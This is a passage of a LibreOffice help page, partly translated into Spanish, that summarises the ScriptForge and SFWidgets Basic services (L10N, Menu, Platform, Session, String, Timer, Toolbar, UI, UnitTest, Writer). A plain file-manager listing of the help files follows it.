    <p id="par_id411585843652556" class="paragraph" dir="auto">Este servicio proporciona una serie de métodos relacionados con la traducción de cadenas con un impacto mínimo en el código fuente del programa. Los métodos proporcionados por el servicio <span class="literal">L10N</span> pueden utilizarse principalmente para:</p>
    <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id601614351922212" class="listitem" dir="auto">Crear archivos POT que puedan utilizarse como plantillas para la traducción de todas las cadenas del programa.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id131614352196513" class="listitem" dir="auto">Get translated strings at runtime for the language defined in the <span class="literal">Locale</span> property.</p>
      </li>
    </ul>
</div>
    
    <a id="Menu"></a>
      <div class="embedded">
<a id="abstract"></a>
    <h2 id="bm_id681600788076499" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_menu.html"><span class="literal">SFWidgets</span>.<span class="literal">Menu</span> service</a></h2>
    <p id="par_id181600788076612" class="paragraph" dir="auto">The <span class="literal">Menu</span> service can be used to create and remove menus from the menubar of a LibreOffice document window. Each menu entry can be associated with a script or with a UNO command. This service provides the following capabilities:</p>
    <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id301600788076785" class="listitem" dir="auto">Creation of menus with custom entries, checkboxes, radio buttons and separators.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id1001600788076848" class="listitem" dir="auto">Decoration of menu items with icons and tooltips.</p>
      </li>
    </ul>
  </div>
    
    <a id="Platform"></a>
      <div class="embedded">
<a id="abstract"></a>
    <h2 id="bm_id681600788076499" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_platform.html">Servicio <span class="literal">ScriptForge</span>.<span class="literal">Platform</span></a></h2>
  <p id="par_id181600788076612" class="paragraph" dir="auto">El servicio <span class="literal">Platform</span> ofrece una colección de propiedades sobre el entorno y el contexto de ejecución actuales, tales como:</p>
  <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
          <p id="par_id301600788076785" class="listitem" dir="auto">La plataforma de hárdwer (arquitectura, número de CPU, tipo de equipo, etc.)</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
          <p id="par_id1001600788076848" class="listitem" dir="auto">Información sobre el sistema operativo (tipo de SO, versión, etc.)</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
          <p id="par_id67160078807676" class="listitem" dir="auto">La versión de LibreOffice</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
          <p id="par_id671600788076855" class="listitem" dir="auto">El nombre de usuario actual</p>
      </li>
  </ul>
</div>
    
    <a id="PopupMenu"></a>
      <div class="embedded">
<a id="abstract"></a>
    <h2 id="bm_id681600788076499" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_popupmenu.html"><span class="literal">SFWidgets</span>.<span class="literal">PopupMenu</span> service</a></h2>
    <p id="par_id181600788076612" class="paragraph" dir="auto">The <span class="literal">PopupMenu</span> service can be used to create popup menus that can be associated with events or executed by scripts. This service provides the following capabilities:</p>
    <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id301600788076785" class="listitem" dir="auto">Creation of popup menus with custom entries, checkboxes and radio buttons.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id1001600788076848" class="listitem" dir="auto">Decoration of menu items with icons and tooltips.</p>
      </li>
    </ul>
  </div>
    
    <a id="Region"></a>
      <div class="embedded">
<a id="abstract"></a>
  <h2 id="bm_id681600788076499" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_region.html">Servicio <span class="literal">ScriptForge</span>.<span class="literal">Region</span></a></h2>
  <p id="par_id181600788076612" class="paragraph" dir="auto">The <span class="literal">Region</span> service provides a collection of properties and methods to handle locale and region-related aspects of programming, such as:</p>
  <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id301600788076785" class="listitem" dir="auto">Acceder a parámetros dependientes de la configuración regional, tales como el formato numérico, la moneda y los husos horarios.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id1001600788076848" class="listitem" dir="auto">Convertir husos horarios y calcular diferencias respecto a horarios de verano.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id67160078807676" class="listitem" dir="auto">Transformación de números en texto en cualquier idioma compatible.</p>
    </li>
  </ul>
</div>
    
    <a id="Services"></a>
      <div class="embedded">
<a id="abstract"></a>
  
  <h2 id="hd_id471582710868716" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_services.html">Servicio <span class="literal">ScriptForge</span>.<span class="literal">Services</span></a></h2>
  <p id="par_id241627513489594" class="paragraph" dir="auto">El propósito principal del módulo <span class="literal">Servicios</span> es proporcionar acceso al método <span class="literal">CreateScriptService</span>, que puede ser llamado en los scripts de usuario para instanciar los servicios que se implementan utilizando el marco ScriptForge.</p>
</div>
    
    <a id="Session"></a>
      <div class="embedded">
<a id="abstract"></a>
    
    <h2 id="hd_id901582814720985" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_session.html">Servicio <span class="literal">ScriptForge.Session</span></a></h2>
    <p id="par_id861582814720987" class="paragraph" dir="auto">El servicio <span class="literal">Session</span> reúne varios métodos de uso general relativos a:</p>
    <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id34158281472051" class="listitem" dir="auto">la instalación o el entorno de ejecución</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id411582814720361" class="listitem" dir="auto">Introspección de UNO</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id321582814720863" class="listitem" dir="auto">la invocación de secuencias de órdenes o programas externos</p>
      </li>
    </ul>
  </div>
    
    <a id="String"></a>
      <div class="embedded">
<a id="abstract"></a>
  <h2 id="hd_id521580038927003" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_string.html"><span class="literal">ScriptForge</span>.<span class="literal">String</span> service</a></h2>
  <p id="par_id351579602570526" class="paragraph" dir="auto">The <span class="literal">String</span> service provides a collection of methods for string processing. These methods can be used to:</p>
  <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id611611952070366" class="listitem" dir="auto">Validate the contents of strings</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id611611952070376" class="listitem" dir="auto">Format strings by trimming, justifying or wrapping their contents</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id611611952070367" class="listitem" dir="auto">Utilizar expresiones regulares para encontrar y sustituir subcadenas</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id611611952070368" class="listitem" dir="auto">Apply hash algorithms on strings, etc.</p>
    </li>
  </ul>
</div>
    
    <a id="TextStream"></a>
      <div class="embedded">
<a id="abstract"></a>
  <h2 id="bm_id351585330787295" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_textstream.html">Servicio <span class="literal">ScriptForge</span>.<span class="literal">TextStream</span></a></h2>
  <p id="par_id511585330787205" class="paragraph" dir="auto">El servicio <span class="literal">TextStream</span> se utiliza para leer y escribir secuencialmente archivos abiertos mediante el servicio <span class="literal">ScriptForge.FileSystem</span>.</p>
  <p id="par_id41613596903894" class="paragraph" dir="auto">Los métodos <span class="literal">OpenTextFile</span> y <span class="literal">CreateTextFile</span> del servicio <span class="literal">FileSystem</span> devuelven una ocurrencia del servicio <span class="literal">TextStream</span>.</p>
</div>
    
    <a id="Timer"></a>
      <div class="embedded">
<a id="abstract"></a>
  <h2 id="hd_id731582733781114" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_timer.html"><span class="literal">ScriptForge</span>.<span class="literal">Timer</span> service</a></h2>
  <p id="par_id961582733781662" class="paragraph" dir="auto">El servicio <span class="literal">Timer</span> mide el intervalo de tiempo necesario para ejecutar secuencias de órdenes de usuario.</p>
  <p id="par_id181582733781323" class="paragraph" dir="auto">A <span class="literal">Timer</span> measures <span class="emph">durations</span>. It can be:</p>
  <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id711582733781252" class="listitem" dir="auto">Started, to indicate when to start measuring time.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id631582733781431" class="listitem" dir="auto">Suspended, to pause measuring running time.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id691582733781498" class="listitem" dir="auto">Resumed, to continue tracking running time after the Timer has been suspended.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id31582733781344" class="listitem" dir="auto">Restarted, which will cancel previous measurements and start the <span class="literal">Timer</span> at zero.</p>
    </li>
  </ul>
</div>
    
    <a id="Toolbar"></a>
      <div class="embedded">
<a id="abstract"></a>
    <h2 id="hd_id731582733781114" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_toolbar.html"><span class="literal">SFWidgets</span>.<span class="literal">Toolbar</span> service</a></h2>
    <p id="par_id571700837631557" class="paragraph" dir="auto">The <span class="literal">Toolbar</span> service allows to retrieve information related to the toolbars available for a specific document window. With this service it is possible to:</p>
    <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id891589189452545" class="listitem" dir="auto">Alternar la visibilidad de barras de herramientas específicas.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id811589189463041" class="listitem" dir="auto">Access information about the buttons available in each toolbar.</p>
      </li>
    </ul>
  </div>
    
    <a id="ToolbarButton"></a>
      <div class="embedded">
<a id="abstract"></a>
    <h2 id="hd_id731582733781114" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_toolbarbutton.html"><span class="literal">SFWidgets</span>.<span class="literal">ToolbarButton</span> service</a></h2>
    <p id="par_id571700837631557" class="paragraph" dir="auto">The <span class="literal">ToolbarButton</span> service allows to retrieve information related to the toolbar buttons available in a given toolbar. With this service it is possible to:</p>
    <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id891589189452545" class="listitem" dir="auto">Toggle the visibility of toolbar elements.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id811589189463041" class="listitem" dir="auto">Execute the command associated with a given toolbar button.</p>
      </li>
    </ul>
  </div>
    
    <a id="UI"></a>
      <div class="embedded">
<a id="abstract"></a>
   

<h2 id="hd_id371587913266310" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_ui.html">Servicio <span class="literal">ScriptForge</span>.<span class="literal">UI</span></a></h2>

<p id="par_id31587913266153" class="paragraph" dir="auto">El servicio UI (del inglés, interfaz de usuario) simplifica la identificación y la manipulación de las diferentes ventanas que componen la aplicación LibreOffice en su conjunto:</p>
<ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
   <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id591587913266547" class="listitem" dir="auto">Selección de ventanas</p>
   </li>
   <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id511587913266292" class="listitem" dir="auto">Redimensionamiento y traslado de ventanas</p>
   </li>
   <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id51587913266596" class="listitem" dir="auto">Configuración de la barra de estado</p>
   </li>
   <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id401599404339702" class="listitem" dir="auto">Presentación de una barra de progreso flotante</p>
   </li>
   <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id761587913266388" class="listitem" dir="auto">Creación de ventanas nuevas</p>
   </li>
   <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id591587913266489" class="listitem" dir="auto">Acceso a los «documentos» subyacentes</p>
   </li>
</ul>
</div>
    
    <a id="UnitTest"></a>
      <div class="embedded">
<a id="abstract"></a>
  <h2 id="bm_id681600788076499" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_unittest.html">Servicio <span class="literal">SFUnitTests</span>.<span class="literal">UnitTest</span></a></h2>
  <p id="par_id181600788076612" class="paragraph" dir="auto">The <span class="literal">UnitTest</span> service provides a framework for automating unit tests using the Basic language, including the ability to:</p>
  <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id301600788076785" class="listitem" dir="auto">Aggregate test cases into test suites and unit tests.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id1001600788076848" class="listitem" dir="auto">Share setup and shutdown code among test cases.</p>
    </li>
    <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
      <p id="par_id67160078807676" class="listitem" dir="auto">Report test results using the <span class="literal">Console</span>.</p>
    </li>
  </ul>
</div>
    
    <a id="Writer"></a>
      <div class="embedded">
<a id="abstract"></a>
    <h2 id="hd_id731582733781114" dir="auto"><a target="_top" href="es/text/sbasic/shared/03/sf_writer.html">Servicio <span class="literal">SFDocuments</span>.<span class="literal">Writer</span></a></h2>
    <p id="par_id381589189355849" class="paragraph" dir="auto">The <span class="literal">SFDocuments</span> shared library provides a number of methods and properties to facilitate the management and handling of LibreOffice documents.</p>
    <p id="par_id351591014177269" class="paragraph" dir="auto">Some methods are generic for all types of documents and are inherited from the <span class="literal">SF_Document</span> module, whereas other methods that are specific for Writer documents are defined in the <span class="literal">SF_Writer</span> module.</p>
    
</div>
    
    
    <p id="par_id331608220104798" class="paragraph" dir="auto"><span class="emph">Nota:</span> los otros módulos de <span class="literal">ScriptForge</span> que no se describen aquí están reservados para uso interno. Su contenido está sujeto a cambios sin previo aviso.</p>
    <a id="SF_InternalUse"></a>
      <div class="warning">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/warning.svg" alt="warning" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id851506659675843" dir="auto">Todas las rutinas o identificadores BASIC de <span class="literal">ScriptForge</span> precedidas por guion bajo «_» están reservadas para uso interno. No deben utilizarse en macros BASIC o secuencias Python.</p></div>
</div>
<br>
    
</div>
<div id="DonationFrame"></div>
<footer><h2 style="text-align: center;"><a href="https://books.libreoffice.org" target="_blank">Libros de LibreOffice</a></h2>
<div class="noteicon" dir="auto" style="display:flex;justify-content:center;flex-wrap:wrap;row-gap:15px;">
<img src="media/navigation/libo-writer.svg" alt="Writer Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-calc.svg" alt="Calc Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-impress.svg" alt="Impress Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-draw.svg" alt="Draw Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-base.svg" alt="Base Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-math.svg" alt="Math Icon" style="width:60px;height:60px;"><img src="media/navigation/libo-symbol-black.svg" alt="Getting Started Icon" style="width:60px;height:60px;">
</div>
<div id="DEBUG" class="debug">
<h3 class="bug">Help content debug info:</h3>
<p dir="auto">This page is: <a href="https://opengrok.libreoffice.org/xref/help/source/text/sbasic/shared/03/lib_ScriptForge.xhp" target="_blank">/text/sbasic/shared/03/lib_ScriptForge.xhp</a></p>
<p dir="auto">Title is: Bibliotecas de ScriptForge</p>
<p id="bm_module" dir="auto"></p>
<p id="bm_system" dir="auto"></p>
<p id="bm_HID" dir="auto"></p>
</div></footer>
</body>
</html>

Filemanager

Name Type Size Permission Actions
avail_release.html File 8.05 KB 0644
lib_ScriptForge.html File 54.61 KB 0644
lib_depot.html File 5.35 KB 0644
lib_euro.html File 7.64 KB 0644
lib_formwizard.html File 5.38 KB 0644
lib_gimmicks.html File 7.76 KB 0644
lib_importwiz.html File 7.59 KB 0644
lib_schedule.html File 5.47 KB 0644
lib_script.html File 5.91 KB 0644
lib_template.html File 5.37 KB 0644
lib_tools.html File 74.88 KB 0644
lib_wikieditor.html File 5.62 KB 0644
sf_array.html File 84.5 KB 0644
sf_base.html File 45.49 KB 0644
sf_basic.html File 78.88 KB 0644
sf_calc.html File 209.75 KB 0644
sf_chart.html File 35.85 KB 0644
sf_database.html File 66.35 KB 0644
sf_dataset.html File 59.17 KB 0644
sf_datasheet.html File 42.59 KB 0644
sf_dialog.html File 164.91 KB 0644
sf_dialogcontrol.html File 92.57 KB 0644
sf_dictionary.html File 42.93 KB 0644
sf_document.html File 87.26 KB 0644
sf_exception.html File 47.22 KB 0644
sf_filesystem.html File 106.92 KB 0644
sf_form.html File 68.52 KB 0644
sf_formcontrol.html File 71.36 KB 0644
sf_formdocument.html File 24.99 KB 0644
sf_intro.html File 28.11 KB 0644
sf_l10n.html File 41.17 KB 0644
sf_menu.html File 36.53 KB 0644
sf_methods.html File 15.38 KB 0644
sf_platform.html File 32.07 KB 0644
sf_popupmenu.html File 32.73 KB 0644
sf_region.html File 48.56 KB 0644
sf_services.html File 13.42 KB 0644
sf_session.html File 58.96 KB 0644
sf_string.html File 125.2 KB 0644
sf_textstream.html File 28.87 KB 0644
sf_timer.html File 23.87 KB 0644
sf_toc.html File 136.53 KB 0644
sf_toolbar.html File 20.46 KB 0644
sf_toolbarbutton.html File 25.53 KB 0644
sf_ui.html File 63.35 KB 0644
sf_unittest.html File 62.35 KB 0644
sf_writer.html File 24.55 KB 0644
Filemanager